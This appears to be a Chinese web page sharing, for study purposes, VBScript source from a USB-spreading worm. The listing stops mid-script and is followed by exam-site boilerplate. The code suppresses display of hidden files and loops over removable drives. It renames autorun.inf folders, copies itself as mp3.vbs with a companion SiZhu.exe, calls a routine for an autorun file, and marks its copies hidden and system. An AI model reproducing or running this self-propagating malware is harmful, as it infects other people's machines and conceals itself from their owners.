| 标题 | 一段病毒常用的VBS代码 |
| 内容 | vbs病毒文件常用的代码，给这段代码不是想让大家做病毒，而是让大家学习一下它的代码，充分了解vbs技术。 代码如下: On error resume next Dim fso,wshell,curfolder,curdristr,curdri Set fso=createobject("scripting.filesystemobject") Set wshell=CreateObject("WScript.shell") Set curfolder=fso.GetFolder(".") curdristr=Left(WScript.ScriptFullName,3) Set curdri=fso.GetDrive(curdristr) reghid() '不显示隐藏文件 If WScript.ScriptFullName=fso.GetSpecialFolder(1)&"\mp3.vbs" Then '如果在system32中 For i=1 To 2 Step 0 reghid() For Each dri In fso.Drives If dri.DriveType=1 And dri<>"A:" And dri<>"B:" Then 'autorun.inf文件夹改名 If fso.FolderExists(dri.Path&"\autorun.inf") Then fso.MoveFolder dri.Path&"\autorun.inf",dri.Path&"\Rubbish" End If '复制自身及exe文件到移动硬盘 If fso.FileExists(dri.Path&"\mp3.vbs") And fso.FileExists(dri.Path&"\autorun.inf") Then Else If fso.FileExists(dri.Path&"\mp3.vbs") Then fso.DeleteFile dri.Path&"\mp3.vbs",True ElseIf fso.FileExists(dri.Path&"\autorun.inf") Then fso.DeleteFile dri.Path&"\autorun.inf",True End if fso.CopyFile WScript.ScriptFullName,dri.Path&"\mp3.vbs",True If fso.FileExists(".\SiZhu.exe") And Not fso.FileExists(dri.Path&"\SiZhu.exe") Then fso.CopyFile ".\SiZhu.exe",dri.Path&"\SiZhu.exe",True End If autoinf(dri.Path) '给刚复制的文件加上隐藏属性 Set norkon=fso.GetFile(dri.Path&"\mp3.vbs") wshell.run "attrib +r +a +s +h "&dri.Path&"\mp3.vbs",0 Set norkon=Nothing |
| 随便看 |
|
在线学习网考试资料包含高考、自考、专升本考试、人事考试、公务员考试、大学生村官考试、特岗教师招聘考试、事业单位招聘考试、企业人才招聘、银行招聘、教师招聘、农村信用社招聘、各类资格证书考试等各类考试资料。